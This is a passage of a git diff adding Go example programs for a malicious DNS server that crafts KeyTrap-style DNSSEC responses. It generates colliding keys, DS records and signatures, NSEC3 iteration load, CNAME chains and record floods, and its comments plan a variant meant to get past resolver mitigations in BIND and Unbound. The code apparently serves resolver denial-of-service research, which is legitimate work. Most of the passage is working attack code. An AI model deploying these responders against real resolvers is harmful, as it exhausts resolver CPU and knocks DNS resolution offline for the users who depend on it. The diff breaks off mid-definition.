dMat.KSKRecord) + resp.Answer = append(resp.Answer, dMat.ZSKRecord, dMat.KSKRecord) + + // HashTrap v2 攻击向量: Invalid_DS_KSK_PairNum + if qName != "test" { + for i := 1; i <= m.AttackVec.Invalid_DS_KSK_PairNum- + m.AttackVec.DSPairDecreaseFactor*len(strings.Split(qName, ".")); i++ { + // HashTrap v2攻击向量: InvalidCollidedKSKNum + // 生成 错误KSK DNSKEY 记录 + th := 12 + tm := 0 + rKSK, _ := xperi.GenerateRDATADNSKEY(m.DNSSECConf.DAlgo, dns.DNSKEYFlagSecureEntryPoint) + for j := 1; j <= m.AttackVec.InvalidCollidedKSKNum; j++ { + tm = tm + 1 + if tm > th { + tm = 0 + rKSK, _ = xperi.GenerateRDATADNSKEY(m.DNSSECConf.DAlgo, dns.DNSKEYFlagSecureEntryPoint) + } + rTag := xperi.CalculateKeyTag(rKSK) + tTag := uint16(dMat.KSKTag - i) + offset := rTag - tTag + wKSK := xperi.GenerateDNSKEYWithTag(rKSK, int(offset)) + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeDNSKEY, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &wKSK, + } + + rrset = append(rrset, rr) + resp.Answer = append(resp.Answer, rr) + } + } + } + + // TagTrap攻击向量: RandomDNSKEYNum + // 生成 随机Tag的 DNSKEY 记录 + for i := 0; i < m.AttackVec.RandomDNSKEYNum; i++ { + rkey := xperi.GenerateDNSKEYWithTag( + *dMat.KSKRecord.RData.(*dns.DNSRDATADNSKEY), + i+1, + ) + rkey.Flags = m.AttackVec.RandomDNSKEYFlag + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeDNSKEY, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rkey, + } + rrset = append(rrset, rr) + resp.Answer = append(resp.Answer, rr) + } + + // 生成密钥集签名 + sort.Sort(dns.ByCanonicalOrder(rrset)) + + sigSet := []dns.DNSResourceRecord{} + // SigJam攻击向量:CollidedSigNum + // 生成 错误RRSIG 记录 + for i := 0; i < m.AttackVec.CollidedSigNum; i++ { + wRRSIG := xperi.GenerateRandomRRRRSIG( + rrset, + m.DNSSECConf.DAlgo, + uint32(InitTime+86400), + uint32(InitTime), + uint16(dMat.KSKTag), + qName, + ) + sigSet = append(sigSet, wRRSIG) + } + + sig := xperi.GenerateRRRRSIG( + rrset, + dMat.KSKRecord.RData.(*dns.DNSRDATADNSKEY).Algorithm, + uint32(InitTime+86400), + uint32(InitTime), + uint16(dMat.KSKTag), + qName, + dMat.KSKPriv, + ) + sigSet = append(sigSet, sig) + + resp.Answer = append(resp.Answer, sigSet...) + resp.Header.RCode = dns.DNSResponseCodeNoErr + } else if qType == dns.DNSRRTypeDS { + // 如果查询类型为 DS,则生成 DS 记录 + dMat := m.GetDNSSECMaterial(qName) + + rrset := []dns.DNSResourceRecord{} + + // HashTrap v2 攻击 + for i := 1; i <= m.AttackVec.Invalid_DS_KSK_PairNum-m.AttackVec.DSPairDecreaseFactor*len(strings.Split(qName, ".")); i++ { + kskTag := dMat.KSKTag - i + // HashTrap 攻击向量:InvalidCollidedDSNum + // 生成 错误DS 记录 + for i := 0; i < m.AttackVec.InvalidCollidedDSNum; i++ { + wDS := xperi.GenerateRandomRRDS(qName, + kskTag, + m.DNSSECConf.DAlgo, + m.DNSSECConf.DType) + rrset = append(rrset, wDS) + resp.Answer = append(resp.Answer, wDS) + } + } + + // TagTrap攻击向量: RandomTagDSNum: + if m.AttackVec.DynamicRandomDSNum { + qNameSize := dns.GetDomainNameWireLen(&qName) + randomDSNum := 62000 / (qNameSize + 10 + 4 + dns.DigestSizeOf(m.DNSSECConf.DType)) + for i := 1; i <= randomDSNum; i++ { + wDS := xperi.GenerateRandomRRDS(qName, + rand.Intn(65535), + m.DNSSECConf.DAlgo, + m.DNSSECConf.DType) + rrset = append(rrset, wDS) + resp.Answer = append(resp.Answer, wDS) + } + } else { + for i := 1; i <= m.AttackVec.RandomTagDSNum; i++ { + wDS := xperi.GenerateRandomRRDS(qName, + rand.Intn(65535), + m.DNSSECConf.DAlgo, + m.DNSSECConf.DType) + rrset = append(rrset, wDS) + resp.Answer = append(resp.Answer, wDS) + } + } + + // HashTrap 攻击向量:CollidedDSNum + // 生成 错误DS 记录 + if m.AttackVec.DynamicCollidedDSNum { + // DS RR Size = QNAME + 10 + RDATA(52) + // DS RRSet Size = DS RR Size * CollidedDSNum + // DS RRSet Size <= 65535 Bytes + // (QNAME + 10 + 52) * CollidedDSNum <= 65535 + // CollidedDSNum <= 65535 / (QNAME + 10 + 4 + DigestSize) + qNameSize := dns.GetDomainNameWireLen(&qName) + collidedDSNum := 62000 / (qNameSize + 10 + 4 + dns.DigestSizeOf(m.DNSSECConf.DType)) + fmt.Printf("CollidedDSNum: %d\n, DS Size: %d\n", collidedDSNum, qNameSize+10+4+dns.DigestSizeOf(m.DNSSECConf.DType)) + for i := 0; i < collidedDSNum; i++ { + wDS := xperi.GenerateRandomRRDS(qName, dMat.KSKTag, m.DNSSECConf.DAlgo, m.DNSSECConf.DType) + rrset = append(rrset, wDS) + resp.Answer = append(resp.Answer, wDS) + } + } else { + for i := 0; i < m.AttackVec.CollidedDSNum; i++ { + wDS := xperi.GenerateRandomRRDS(qName, dMat.KSKTag, m.DNSSECConf.DAlgo, m.DNSSECConf.DType) + rrset = append(rrset, wDS) + resp.Answer = append(resp.Answer, wDS) + } + } + + // 生成正确DS记录 + kskRData, _ := dMat.KSKRecord.RData.(*dns.DNSRDATADNSKEY) + ds := xperi.GenerateRRDS(qName, *kskRData, m.DNSSECConf.DType) + rrset = append(rrset, ds) + resp.Answer = append(resp.Answer, ds) + + upName := dns.GetUpperDomainName(&qName) + dMat = m.GetDNSSECMaterial(upName) + + // 签名 + sort.Sort(dns.ByCanonicalOrder(rrset)) + + sigSet := []dns.DNSResourceRecord{} + // SigJam攻击向量:CollidedSigNum + // 生成 错误RRSIG 记录 + for i := 0; i < m.AttackVec.CollidedSigNum; i++ { + wRRSIG := xperi.GenerateRandomRRRRSIG( + rrset, + m.DNSSECConf.DAlgo, + uint32(InitTime+86400), + uint32(InitTime), + uint16(dMat.ZSKTag), + upName, + ) + sigSet = append(sigSet, wRRSIG) + } + + // TagTrap攻击向量: RandomTagSigNum + // 生成 随机Tag的 RRSIG 记录 + for i := 0; i < m.AttackVec.RandomTagSigNum; i++ { + wRRSIG := xperi.GenerateRandomRRRRSIG( + rrset, + m.DNSSECConf.DAlgo, + uint32(InitTime+86400), + uint32(InitTime), + uint16(rand.Intn(65535)), + upName, + ) + sigSet = append(sigSet, wRRSIG) + } + + sig := xperi.GenerateRRRRSIG( + rrset, + dns.DNSSECAlgorithm(dMat.ZSKRecord.RData.(*dns.DNSRDATADNSKEY).Algorithm), + uint32(InitTime+86400), + uint32(InitTime), + uint16(dMat.ZSKTag), + upName, + dMat.ZSKPriv, + ) + + sigSet = append(sigSet, sig) + + resp.Answer = append(resp.Answer, sigSet...) + resp.Header.RCode = dns.DNSResponseCodeNoErr + } + xdns.FixCount(resp) + return nil +} +func (r *KeyTrapResponser) Response(connInfo xdns.ConnectionInfo) ([]byte, error) { + // 解析查询信息 + qry, err := xdns.ParseQuery(connInfo) + if err != nil { + r.ResponserLogger.Printf("Error parsing query: %v", err) + return []byte{}, err + } + + // 将可能启用0x20混淆的查询名称转换为小写 + qName := strings.ToLower(qry.Question[0].Name) + qType := qry.Question[0].Type + qClass := qry.Question[0].Class + + r.ResponserLogger.Printf("Recive DNS Query from %s,Protocol: %s, Name: %s, Type: %s, Class: %s\n", + connInfo.Address.String(), connInfo.Protocol, qName, qType, qClass) + + // 初始化 NXDOMAIN 回复信息 + resp := xdns.InitNXDOMAIN(qry) + qLables := strings.Split(qName, ".") + if r.AttackVector.NSRRNum > 0 { + if len(qLables) == 1 { + resp.Header.RCode = dns.DNSResponseCodeNoErr + r.DNSSECManager.EstablishToC(qry, &resp) + xdns.FixCount(&resp) + } else if len(qLables) == 2 { + if qType == dns.DNSRRTypeA || qType == dns.DNSRRTypeNS { + // 生成 NS 记录 + // NS Amplification攻击向量:NSRRNum + for i := 1; i <= r.AttackVector.NSRRNum; i++ { + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeNS, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATANS{NSDNAME: fmt.Sprintf("ns%d.%s", i, qName)}, + } + resp.Authority = append(resp.Authority, rr) + rra := dns.DNSResourceRecord{ + Name: fmt.Sprintf("ns%d.%s", i, qName), + Type: dns.DNSRRTypeA, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 4, + RData: &dns.DNSRDATAA{Address: net.IPv4(10, 10, 1, 4)}, + } + resp.Additional = append(resp.Additional, rra) + } + resp.Header.RCode = dns.DNSResponseCodeNoErr + resp.Answer = r.DNSSECManager.SignSection(resp.Answer) + resp.Authority = r.DNSSECManager.SignSection(resp.Authority) + resp.Additional = r.DNSSECManager.SignSection(resp.Additional) + SOARDATA.MName = "ns1." + qName + soa := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeSOA, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: SOARDATA, + } + resp.Authority = append(resp.Authority, soa) + dMat := r.DNSSECManager.GetDNSSECMaterial(qName) + soasig := xperi.GenerateRRRRSIG( + []dns.DNSResourceRecord{soa}, + dns.DNSSECAlgorithm(r.DNSSECManager.DNSSECConf.DAlgo), + uint32(InitTime+86400), + uint32(InitTime), + uint16(dMat.ZSKTag), + qName, + dMat.ZSKPriv, + ) + resp.Authority = append(resp.Authority, soasig) + xdns.FixCount(&resp) + } else { + r.DNSSECManager.EstablishToC(qry, &resp) + resp.Header.RCode = dns.DNSResponseCodeNoErr + } + } else if len(qLables) == 3 { + rra := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeA, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATAA{Address: net.IPv4(10, 10, 1, 4)}, + } + resp.Answer = append(resp.Answer, rra) + upperName := dns.GetUpperDomainName(&qName) + dMat := r.DNSSECManager.GetDNSSECMaterial(upperName) + for i := 0; i < r.AttackVector.CollidedSigForRR; i++ { + rrsig := xperi.GenerateRandomRRRRSIG( + []dns.DNSResourceRecord{rra}, + dns.DNSSECAlgorithm(r.DNSSECManager.DNSSECConf.DAlgo), + uint32(InitTime+86400), + uint32(InitTime), + uint16(dMat.ZSKTag), + upperName, + ) + resp.Answer = append(resp.Answer, rrsig) + } + resp.Header.RCode = dns.DNSResponseCodeNoErr + xdns.FixCount(&resp) + } + data := resp.Encode() + if IsTCPEnabled && connInfo.Protocol == "udp" && len(data) > 1200 { + // 如果是UDP协议且数据包大于1200字节,则使用TCP协议回复 + trMsg := &dns.DNSMessage{ + Header: dns.DNSHeader{ + ID: resp.Header.ID, + QR: true, + OpCode: resp.Header.OpCode, + AA: resp.Header.AA, + TC: true, + RD: resp.Header.RD, + RA: resp.Header.RA, + Z: resp.Header.Z, + RCode: resp.Header.RCode, + QDCount: resp.Header.QDCount, + ANCount: resp.Header.ANCount, + NSCount: resp.Header.NSCount, + ARCount: resp.Header.ARCount, + }, + Question: resp.Question, + Answer: []dns.DNSResourceRecord{}, + Authority: []dns.DNSResourceRecord{}, + Additional: []dns.DNSResourceRecord{}, + } + data = trMsg.Encode() + } + return data, nil + + } else { + switch qType { + case dns.DNSRRTypeA: + // 生成 A 记录 + // Tricks攻击向量:CNAMEChainNum + cLength := 0 + if len(qLables[0]) > 4 && qLables[0][:5] == "cname" { + cLength, err = strconv.Atoi(qLables[0][5:]) + if err != nil { + r.ResponserLogger.Printf("Error parsing CNAME chain length: %v", err) + return []byte{}, err + } + } + if len(qLables) > 2 && cLength < r.AttackVector.CNAMEChainNum { + cLength += 1 + + nName := fmt.Sprintf("cname%d", cLength) + + for i := 1; i < len(qLables); i++ { + nName += "." + qLables[i] + } + + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeCNAME, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATACNAME{CNAME: nName}, + } + + resp.Answer = append(resp.Answer, rr) + } else { + if r.AttackVector.IsNSEC && (qLables[0] == "www" || qLables[0] == "w") { + // NSEC攻击向量 + upperName := dns.GetUpperDomainName(&qName) + // soa := dns.DNSResourceRecord{ + // Name: upperName, + // Type: dns.DNSRRTypeSOA, + // Class: dns.DNSClassIN, + // TTL: 86400, + // RDLen: 0, + // RData: SOARDATA, + // } + // resp.Authority = append(resp.Authority, soa) + randInt := rand.Int() % 99 + if r.AttackVector.NSEC3ItertationNum > -1 { + //生成NSEC3记录 + for i := 1; i < r.AttackVector.NSECRRNum; i++ { + //生成NSEC3记录 + rdata := dns.DNSRDATANSEC3{ + HashAlgorithm: 1, + Flags: 1, + Iterations: uint16(r.AttackVector.NSEC3ItertationNum), + SaltLength: 0, + Salt: r.AttackVector.Salt, + HashLength: 0, + NextHashedOwnerName: fmt.Sprintf("0%d.", randInt+i) + upperName, + TypeBitMaps: []dns.DNSType{dns.DNSRRTypeA}, + } + rr := dns.DNSResourceRecord{ + Name: fmt.Sprintf("0%d.", randInt+i-1) + upperName, + Type: dns.DNSRRTypeNSEC3, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + resp.Authority = append(resp.Authority, rr) + } + rdata := dns.DNSRDATANSEC3{ + HashAlgorithm: 1, + Flags: 1, + Iterations: uint16(r.AttackVector.NSEC3ItertationNum), + SaltLength: 0, + Salt: r.AttackVector.Salt, + HashLength: 0, + NextHashedOwnerName: "zzz." + upperName, + TypeBitMaps: []dns.DNSType{dns.DNSRRTypeA}, + } + rr := dns.DNSResourceRecord{ + Name: fmt.Sprintf("0%d.", randInt+r.AttackVector.NSECRRNum) + upperName, + Type: dns.DNSRRTypeNSEC3, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + resp.Authority = append(resp.Authority, rr) + } else { + for i := 1; i < r.AttackVector.NSECRRNum; i++ { + //生成NSEC记录 + rdata := dns.DNSRDATANSEC{ + NextDomainName: fmt.Sprintf("0%d.", randInt+i) + upperName, + TypeBitMaps: []dns.DNSType{dns.DNSRRTypeA}, + } + rr := dns.DNSResourceRecord{ + Name: fmt.Sprintf("0%d.", randInt+i-1) + upperName, + Type: dns.DNSRRTypeNSEC, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + resp.Authority = append(resp.Authority, rr) + } + rdata := dns.DNSRDATANSEC{ + NextDomainName: "zzz." + upperName, + TypeBitMaps: []dns.DNSType{dns.DNSRRTypeA}, + } + rr := dns.DNSResourceRecord{ + Name: fmt.Sprintf("0%d.", randInt+r.AttackVector.NSECRRNum) + upperName, + Type: dns.DNSRRTypeNSEC, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + resp.Authority = append(resp.Authority, rr) + } + } else { + if qLables[0] == "ns" { + if err != nil { + r.ResponserLogger.Printf("Error parsing NS number: %v", err) + return []byte{}, err + } + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeA, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATAA{Address: ServerIP}, + } + resp.Answer = append(resp.Answer, rr) + } else { + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeA, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATAA{Address: ServerIP}, + } + resp.Answer = append(resp.Answer, rr) + } + } + } + case dns.DNSRRTypeNS: + // 生成 NS 记录 + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeNS, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATANS{NSDNAME: qName}, + } + resp.Answer = append(resp.Answer, rr) + rra := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeA, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATAA{Address: ServerIP}, + } + resp.Additional = append(resp.Additional, rra) + case dns.DNSRRTypeTXT: + // Tricks攻击向量:TXTRRNum + rrset := make([]dns.DNSResourceRecord, r.AttackVector.TXTRRNum) + for i := 0; i < r.AttackVector.TXTRRNum; i++ { + rRDATA := []byte{} + for j := i; j > 0; j /= 256 { + rRDATA = append(rRDATA, byte(j%256+1)) + } + + rdata := dns.DNSRDATATXT{ + TXT: string(rRDATA), + } + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeTXT, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + rrset[r.AttackVector.TXTRRNum-i-1] = rr + } + resp.Answer = append(resp.Answer, rrset...) + // Tricks攻击向量:TXTRDataSize + if r.AttackVector.TXTRDataSize > 0 { + rdata := dns.DNSRDATATXT{ + TXT: r.AttackVector.RandomString, + } + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeTXT, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + resp.Answer = append(resp.Answer, rr) + } + case dns.DNSRRTypeSOA: + soardata := dns.DNSRDATASOA{ + MName: qName, + RName: "hostmaster." + qName, + Serial: uint32(InitTime), + Refresh: 7200, + Retry: 3600, + Expire: 1209600, + Minimum: 86400, + } + soa := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeSOA, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &soardata, + } + resp.Answer = append(resp.Answer, soa) + } + resp.Header.RCode = dns.DNSResponseCodeNoErr + } + + // AdditionalJam攻击向量:AdditionalRRNum + if qType == dns.DNSRRTypeA && (qLables[0] == "w" || qLables[0] == "www") && r.AttackVector.AdditionalRRNum > 0 { + // 在Additional部分生成 子域名的TXT 记录 + txt := "AdditionalJam!" + upperName := dns.GetUpperDomainName(&qName) + for i := 0; i < r.AttackVector.AdditionalRRNum; i++ { + txtRR := dns.DNSRDATATXT{ + TXT: txt, + } + rr := dns.DNSResourceRecord{ + Name: fmt.Sprintf("txt%d.", i) + upperName, + Type: dns.DNSRRTypeTXT, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &txtRR, + } + resp.Additional = append(resp.Additional, rr) + } + } + + // 为回复信息添加 DNSSEC 记录 + if IsDNSSEC { + r.DNSSECManager.EnableDNSSEC(qry, &resp) + } + + if r.AttackVector.IsNSEC && len(qLables) > 2 && qType == dns.DNSRRTypeA && (qLables[0] == "www" || qLables[0] == "w") { + resp.Header.RCode = dns.DNSResponseCodeNXDomain + upperName := dns.GetUpperDomainName(&qName) + var rr dns.DNSResourceRecord + if ExperiVec.NSEC3ItertationNum > -1 { + //生成NSEC3记录 + rdata := dns.DNSRDATANSEC3{ + HashAlgorithm: 1, + Flags: 1, + Iterations: uint16(ExperiVec.NSEC3ItertationNum), + SaltLength: 0, + Salt: ExperiVec.Salt, + HashLength: 0, + NextHashedOwnerName: fmt.Sprintf("00%d.", rand.Int()%99) + upperName, + TypeBitMaps: []dns.DNSType{dns.DNSRRTypeA}, + } + rr = dns.DNSResourceRecord{ + Name: upperName, + Type: dns.DNSRRTypeNSEC3, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + } else { + //生成NSEC记录 + rdata := dns.DNSRDATANSEC{ + NextDomainName: fmt.Sprintf("00%d.", rand.Int()%99) + upperName, + TypeBitMaps: []dns.DNSType{dns.DNSRRTypeA}, + } + rr = dns.DNSResourceRecord{ + Name: upperName, + Type: dns.DNSRRTypeNSEC, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &rdata, + } + } + resp.Authority = append(resp.Authority, rr) + dMat := r.DNSSECManager.GetDNSSECMaterial(upperName) + for i := 0; i < ExperiVec.CollidedSigNum-1; i++ { + wRRSIG := xperi.GenerateRandomRRRRSIG( + []dns.DNSResourceRecord{rr}, + r.DNSSECManager.DNSSECConf.DAlgo, + uint32(InitTime+86400), + uint32(InitTime), + uint16(dMat.ZSKTag), + upperName, + ) + resp.Authority = append(resp.Authority, wRRSIG) + } + sig := xperi.GenerateRRRRSIG( + []dns.DNSResourceRecord{rr}, + r.DNSSECManager.DNSSECConf.DAlgo, + uint32(InitTime+86400), + uint32(InitTime), + uint16(dMat.ZSKTag), + upperName, + dMat.ZSKPriv, + ) + resp.Authority = append(resp.Authority, sig) + resp.Header.RCode = dns.DNSResponseCodeNXDomain + } + + // 修正计数字段,返回回复信息 + xdns.FixCount(&resp) + + data := resp.Encode() + + if IsTCPEnabled { + if len(data) > 1024 && connInfo.Protocol == "udp" { + // 如果回复信息长度大于 1200 字节,使用 TCP 协议返回 + trMsg := dns.DNSMessage{ + Header: dns.DNSHeader{ + ID: qry.Header.ID, + QR: true, + OpCode: qry.Header.OpCode, + AA: true, + TC: true, + RD: qry.Header.RD, + RA: qry.Header.RA, + Z: qry.Header.Z, + RCode: dns.DNSResponseCodeNoErr, + QDCount: 1, + ANCount: 0, + NSCount: 0, + ARCount: 0, + }, + Question: qry.Question, + Answer: []dns.DNSResourceRecord{}, + Authority: []dns.DNSResourceRecord{}, + Additional: []dns.DNSResourceRecord{}, + } + data = trMsg.Encode() + } + } + + // 是否启用名称压缩 + if IsNameCompression { + crsp, err := dns.CompressDNSMessage(data) + if err != nil { + r.ResponserLogger.Printf("Error compressing response: %v", err) + return data, nil + } else { + return crsp, nil + } + } else { + return data, nil + } +} + +func getRandomString(size int) string { + charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + charsetLen := len(charset) + result := make([]byte, size) + for i := range result { + result[i] = charset[rand.Intn(charsetLen)] + } + return string(result) +} + +func main() { + conf := xdns.DNSServerConfig{ + IP: ServerIP, + Port: 53, + + // stdout + LogWriter: os.Stdout, + + EnebleCache: false, + CacheLocation: "./cache", + + PoolCapcity: -1, + } + + // 生成 KSK 和 ZSK + // 使用ParseKeyBase64解析预先生成的公钥, + // 该公钥应确保能够被解析器通过 信任锚(Trust Anchor)建立的 信任链(Chain of Trust) 所验证。 + kskPublic := xperi.ParseKeyBase64("MzJsFTtAo0j8qGpDIhEMnK4ImTyYwMwDPU5gt/FaXd6TOw6AvZDAj2hlhZvaxMXV6xCw1MU5iPv5ZQrb3NDLUU+TW07imJ5GD9YKi0Qiiypo+zhtL4aGaOG+870yHwuY") + kskPriv := xperi.ParseKeyBase64("ppaXHmb7u1jOxEzrLzuGKzbjmSLIK4gEhQOvws+cpBQyJbCwIM1Nrk4j5k94CP9e") + + material := InitMaterial("test", dns.DNSSECAlgorithmECDSAP384SHA384, kskPublic, kskPriv) + + dMap := sync.Map{} + dMap.Store("test", material) + + ExperiVec.RandomString = getRandomString(ExperiVec.TXTRDataSize) + + server := xdns.NewxdnsServer(conf, + &KeyTrapResponser{ + ResponserLogger: log.New(conf.LogWriter, "KeyTrapResponser: ", log.LstdFlags), + DNSSECManager: KeyTrapManager{ + DNSSECConf: xdns.DNSSECConfig{ + DAlgo: dns.DNSSECAlgorithmECDSAP384SHA384, + DType: dns.DNSSECDigestTypeSHA384, + }, + DNSSECMap: dMap, + AttackVec: ExperiVec, + }, + AttackVector: ExperiVec, + }, + ) + + server.Start() +} + +// InitTrustAnchor 根据 DNSSEC 配置生成指定区域的信任锚点 +// 其接受参数为: +// - zName string,区域名 +// - dConf DNSSECConfig,DNSSEC 配置 +// - kBytes []byte,KSK 公钥 +// - pkBytes []byte,KSK 私钥 +// +// 返回值为: +// - map[string]DNSSECMaterial,生成的信任锚点 +func InitMaterial(name string, algo dns.DNSSECAlgorithm, kskPublic, kskPriv []byte) DNSSECMaterial { + + // 为了对Referral思路进行测试,暂使用固定ZSK + // zskRR, zskPriv := xperi.GenerateRRDNSKEY(name, algo, dns.DNSKEYFlagZoneKey) + zskPub, err := base64.StdEncoding.DecodeString("zNViYVKReDHMoe31Nj6S1nFgMg043Lk+6Gg4bESSw7QQPvcwxQp2yWVvtskCd9ysub0D4uMJY0g2QbW6AC+PhdUR8IPxRQASOBAl+8noHaOoq1nkaAnBcGCr/Gmpfz/D") + if err != nil { + panic(err) + } + zskPriv, err := base64.StdEncoding.DecodeString("LbMJgyAcZiBWokf/gO9hzOztqG7Z/gvoebCb/S54a68+8nqnWmBRdfGnhfnWwuLX") + if err != nil { + panic(err) + } + + zskRR := dns.DNSResourceRecord{ + Name: name, + Type: dns.DNSRRTypeDNSKEY, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATADNSKEY{ + Flags: dns.DNSKEYFlagZoneKey, + Protocol: dns.DNSKEYProtocolValue, + Algorithm: algo, + PublicKey: zskPub, + }, + } + + zskRDATA := zskRR.RData.(*dns.DNSRDATADNSKEY) + + kskRDATA := dns.DNSRDATADNSKEY{ + Flags: dns.DNSKEYFlagSecureEntryPoint, + Protocol: dns.DNSKEYProtocolValue, + Algorithm: algo, + PublicKey: kskPublic, + } + + kskRR := dns.DNSResourceRecord{ + Name: name, + Type: dns.DNSRRTypeDNSKEY, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: uint16(kskRDATA.Size()), + RData: &kskRDATA, + } + + zskTag := xperi.CalculateKeyTag(*zskRDATA) + kskTag := xperi.CalculateKeyTag(kskRDATA) + + return DNSSECMaterial{ + ZSKTag: int(zskTag), + KSKTag: int(kskTag), + + ZSKRecord: zskRR, + KSKRecord: kskRR, + + ZSKPriv: zskPriv, + KSKPriv: kskPriv, + } +} diff --git a/example/nodnssec/main.go b/example/nodnssec/main.go new file mode 100644 index 0000000..4c678e0 --- /dev/null +++ b/example/nodnssec/main.go @@ -0,0 +1,992 @@ +package main + +import ( + "fmt" + "log" + "math/rand" + "net" + "os" + "sort" + "strconv" + "strings" + "sync" + "time" + + "github.com/tochusc/xdns" + "github.com/tochusc/xdns/dns" + "github.com/tochusc/xdns/dns/xperi" +) + +var ServerIP = net.IPv4(10, 10, 1, 3) +var IsNameCompression = false +var IsDNSSEC = true +var InitTime = time.Now().UTC().Unix() + +// 测试向量 +var ExperiVec = AttackVector{ + CollidedSigNum: 0, + CollidedZSKNum: 0, + CollidedKSKNum: 0, + CollidedDSNum: 0, + IsDynamicDSNum: false, + ANYRRSetNum: 0, + + Invalid_DS_KSK_PairNum: 0, + InvalidCollidedKSKNum: 0, + InvalidCollidedDSNum: 0, + + TXTRRNum: 0, + TXTRDataSize: 0, + CNAMEChainNum: 0, + NSRRNum: 0, + IsNSEC: false, + NSECRRNum: 0, + NSEC3ItertationNum: -1, + // www.atk.test + // DNSSEC Query: #RRSIG = CollidedSigNum + 1(Valid) + // DNSKEY Query: #DNSKEY = #ZSK && #KSK = CollidedZSKNum + 1(Valid) && CollidedKSKNum + 1(Valid) + // DS Query: #DS = Invalid_DS_KSK_PairNum * CollidedDSNum + 1(Valid) + // ANY Query: #RRSet = ANYRRSettNum + + // Adujust AttackVector --> Adjust KeyTrap Attack. + + // KeyTrap Variants: + // 1. SigJam (Validation Order✔️) --> RRSIG* x DNSKEY --> CollidedSigNum (RRSIG Validation) + // 2. LockCram (Validation Order❌) --> RRSIG x DNSKEY* --> CollidedZSKNum (RRSIG Validation) + // 3. KeySigTrap (Validation Order❌) --> RRSIG* x DNSKEY* --> CollidedSigNum, CollidedZSKNum (RRSIG Validation) + // 4. HashTrap (Validation Order✔️) --> DS* x DNSKEY* --> CollidedDSNum, CollidedKSKNum (Hash Calculation) + // X. ANY (No Failure, #RRSet⬆️) --> (RRSIG, DNSKEY)* --> ANYRRSettNum (RRSIG Validation) + + // Mitigation + // Limitaiton: + // 1. SigJam --> #RRSIG* Limitation + // 2. LockCram --> #DNSKEY* Limitation + // 3. KeySigTrap --> #RRSIG* && #DNSKEY* Limitation + // 4. HashTrap --> #DS* && #DNSKEY* Limitation + // X. ANY --> #(RRSIG Val.) Limitation + + // Mechanism: + // Suspend(Unbound) + // Workload balance(BIND) + + // X. --> #(RRSIG Val.) Limitation --> Hard to bypass + + // Loophole? + // Notice: No (#Hash Cal.) Limitation + // Only: #DS* && #DNSKEY* Limitation + + // ANY + HashTrap: + // HashTrap: DS* x DNSKEY* + // ANY: (RRSIG, DNSKEY)* + // + // HashTrap v2: (DS, RRSIG)* + // If possible: (DS*, RRSIG*)* + // HashTrap * Deep Delegation. + + // Test config + // Delegation: + // test --> atk.test: 80 + 1 DS_KSK_Pair, + + // 80 Invalid DS_KSK_Pair + // 1 Valid DS_KSK_Pair --> which signs ZSK's RRSIG + + // 80 Invalid DS_KSK_Pair config: + // 10 KegTag== DS (CollidedDSNum) + // 5 KeyTag== KSK (CollidedKSKNum) + + // 1 Valid DS_KSK_Pair config: + // 1 Right DS + // 1 Right KSK + // Make sure return NOERROR. + + // DS Query: 80*10 + 1 = 801(SHA384 DS) + // DNSKEY Query: 80*5 + 1 = 401(ECDSA384 DNSKEY) + + // Size: + // 801 SHA384 DS ~60KB + // 401 ECDSA384 KSK ~60KB --> RSA... --> #KSK↑ + + // #Hash: + // 80*10*5+1 = 4000 SHA384 (plain text size: ~300B) +} + +type KeyTrapResponser struct { + ResponserLogger *log.Logger + DNSSECManager KeyTrapManager + AttackVector AttackVector +} + +// 攻击向量 +type AttackVector struct { + // SigJam + CollidedSigNum int + // LockCram + CollidedZSKNum int + // HashTrap + CollidedKSKNum int + CollidedDSNum int + // ANY + ANYRRSetNum int + + // HashTrap v2 + Invalid_DS_KSK_PairNum int + InvalidCollidedKSKNum int + InvalidCollidedDSNum int + + // Deep 